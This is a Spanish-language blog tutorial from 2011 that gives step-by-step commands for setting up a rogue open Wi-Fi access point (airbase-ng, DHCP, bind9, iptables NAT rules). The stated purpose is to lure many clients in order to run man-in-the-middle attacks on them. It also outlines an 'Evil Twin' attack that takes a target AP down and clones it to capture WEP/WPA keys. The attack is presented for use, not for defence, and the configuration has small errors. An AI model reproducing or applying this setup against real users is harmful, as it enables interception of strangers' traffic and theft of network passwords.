Creando un “Fake” Access Point Inalámbrico

abril 28, 2011 adastra Deja un comentario Go to comments

CREANDO UN PUNTO DE ACCESO FALSO, COMPARTIENDO LA CONEXION WIFI.

Un punto de acceso a Internet utilizando algún software o también conocido como SoftAP, permite a otros usuarios usar nuestra conexión a Internet pasando por medio de nuestras interfaces de red, de esta forma, todos los paquetes que se envíen al punto de acceso pasarán por medio de nosotros, dado que no establecemos una clave a nuestra WIFI todos los usuarios podrán conectarse a ella sin ningún tipo de restricción (aunque se podría establecer claves WEP/WPA si así lo deseamos) sin embargo, el atractivo de tener la conexión sin ningún tipo de protección es que el número de clientes que accederán a ella será mayor, lo que nos permitirá ejecutar ataques MITM con una mayor cantidad de objetivos potenciales.

Por otro lado también es posible utilizar la técnica conocida como “Evil Twin” partiendo de los pasos detallados aquí, esta técnica consiste en la obtención de la clave WEP/WPA de un objetivo determinado partiendo de un ataque de denegación de servicio contra el AP objetivo y posteriormente estableciendo el mismo BSSID/ESSID del objetivo a nuestro softAP, de esta forma, parecería que son exactamente el mismo AP (en ocasiones este ataque normalmente viene acmpañado con el “Caffe Late Attack”), dado que se ha lanzado un ataque de denegación de servicio, el AP objetivo se encontrará fuera de servicio y los clientes que tengan activada la opción de conexión automática con el AP de la red Wifi, verán que se solicita nuevamente la clave WEP/WPA para establecer la conexión, realmente estarán enviando la contraseña al AP falso.

Los supuestos son:

La interface de red cableada: eth0

La interface de red inhalambrica: wlan0

La interface en modo monitor es: mon0

La Interface resultante del comando airbase (el softAP) es: at0

Los pasos a seguir son:

1. Utilizar Aircrack-NG para poner la interface en modo monitor. *>airmon-ng start wlan0*
2. Instalar el servidor DHCP y el servidor DNS (En el caso que no se encuentren instalados) *>apt-get install dhcp3-server bind9*
3. Detener los servicios. *>/etc/init.d/dhcp3-server stop*
   >/etc/init.d/bind9 stop

4. Configurar adecuadamente el servidor DHCP:
   Abrir el fichero /etc/dhcp3/dhcpd.conf y establecer los parámetros de la red que se va a crear y el mecanismo de asignación de direcciones IP a los clientes que se intenten conectar al AP, el fichero deberá contener algo similar a esto:

   ddns-update-style ad-hoc;
   default-lease-time 600;
   default-lease-time 7200;
   authoritative;
   subnet 192.168.2.128 netmask 255.255.255.128 {
   option subnet-mask 255.255.255.128;
   option broadcast-address 192.168.2.255;
   option routers 192.168.2.129;
   option domain-name-servers 192.168.1.1;
   range 192.168.2.130 192.168.2.140;

}

Con esto definimos, los tiempos de respuesta máximos para la conexión

(default-lease-time, default-lease-time) también definimos los parámetros de la subred, indicando el rango ip inicial para la red y la mascara de red, posteriormente hay que definir opciones adicionales de la subred, tales como la mascara (que es la misma que la mascara de red definida), la dirección de broadcast, el router de la subred, el rango de ip disponibles para los clientes, (entre las direcciones 192.168.2.130 y 192.168.2.140) el atributo que resulta más interesante es el domain-name-server ya que se trata de la dirección IP del gateway que nos proporciona salida a internet, en una red domestica, el valor mas común es la dirección del router, ya que sin esto los clientes que se conecten a nuestro servidor no tendrán salida a Internet.

Finalmente es necesario establecer las interfaces que usará el servidor DHCP, para esto es necesario especificarlas en el fichero: /etc/default/dhcp3-server en la linea INTERFACES donde es necesario indicar la(s) interfaces, por ejemplo:

INTERFACES=”eth0 wlan0”

5. Iniciar el softAP en nuestra máquina con:

   airbase-ng -I 100 -P -C 2 -c 3 –essid WIFI_COMPARTIDA mon0

   Opciones:
   -I : Indica el intervalo en mili segundos entre cada beacon.
   -P : Indica que el softAP responderá a todas las pruebas de broadcast sin importar el ESSID especificado.
   -C : El numero de segundos en los que el ESSID especificado también es beaconed
   -c : Indica el canal en donde estará el AP.
   –essid : Se trata del ESSID.
   NOTA: En algunas tarjetas inhalambricas, una vez el access point inicia, el canal que se

establece es el 255, lo cual se puede comprobar con el uso de airodump-ng donde aparecerá el punto de acceso y su canal asociado, se se trata de un bug reportado, cuya solución se encuentra en el siguiente enlace: http://forum.aircrack-ng.org/index.php?topic=5755.0

6. Una vez iniciado el airbase-ng, se crea automáticamente la interface at0, es necesario configurarla de la siguiente forma:

   >ifconfig at0 up
   >ifconfig at0 192.168.2.129 netmask 255.255.255.128
   >route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129

   De esta forma indicamos que la interface del softAP usará de los parámetros de red indicados en el fichero de configuración para el servidor DHCP, se ha levantado la interface en el primer comando, en el segundo se ha definido la dirección IP del gateway y la mascara de red, finalmente adicionamos el enrutamiento para la red 192.168.2.128 (128 se trata del ultimo segmento de la dirección de broadcast), la mascara de red y el gateway de la subred.

7. Ahora podemos iniciar el servidor DHCP con los siguientes parámetros:

   >dhcp3 -d -f at0

   En el caso de que se produzca el siguiente error
   Can't create PID file /var/run/dhcpd.pid: Permission denied.

   Es necesario crear un enlace simbolico apuntando al pid:
   >ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
   Posteriormente iniciar el servidor DNS:
   >/etc/init.d/bind9 start

8. Con esto ya esta preparado, tenemos el servidor configurado en nuestra máquina esperando a que se conecten clientes, sin embargo, aun falta establecer determinados parámetros en las políticas de redirección y tratamiento de paquetes que pasan por nuestra maquina, para esto es necesario establecer las siguientes reglas en nuestro firewall iptables en local.
   iptables –flush
   iptables –table nat –flush
   iptables –delete-chain
   iptables –table nat –delete-chain
   iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
   iptables –append FORWARD –in-interface at0 -j ACCEPT
   iptables -t nat -A PREROUTING -p udp -j DNAT –to 192.168.1.1
   echo 1 > /proc/sys/net/ipv4/ip_forward

   nano /etc/sysctl.conf
   net.ipv4.conf.default.forwarding=1 net.ipv4.conf.all.forwarding=1

   Las opciones anteriormente indicadas contienen:
   Los 4 primeros comandos limpian las reglas del firewall para establecerlas.
   El 5 comando indica que el enrutamiento debe ser tratado por la interface de salida eth0 (Red

Cableada) evidentemente debe de estar conectado el cable de red, sin embargo, si se desea se puede utilizar la red inhalambrica.
El 6 comando indica que que se va a realizar el enrutamiento de los paquetes que llegan a la interfaz de entrada at0 (La interfaz correspondiente a nuestro SoftAP, por lo tanto las peticiones de todos los clientes que se conecten a él) se especifica que todos los paquetes van a ser aceptados.
Finalmente las ultimas lineas corresponden al enrutamiento como tal, es necesario especificar la ruta del gateway para peticiones udp, los últimos parámetros son necesarios para permitir el enrutamiento de las peticiones.

Eso es todo, ahora tenemos nuestro Fake AP funcionando, ahora es posible utilizar diferentes tipos de ataques a los clientes conectados. Como por ejemplo ataques MITM y el uso de KarmetaSploit que se verá con un buen nivel de detalle en una próxima entrada, donde podremos ver como utilizar MetaSploit Framework y los conceptos teóricos y prácticos aquí expuestos.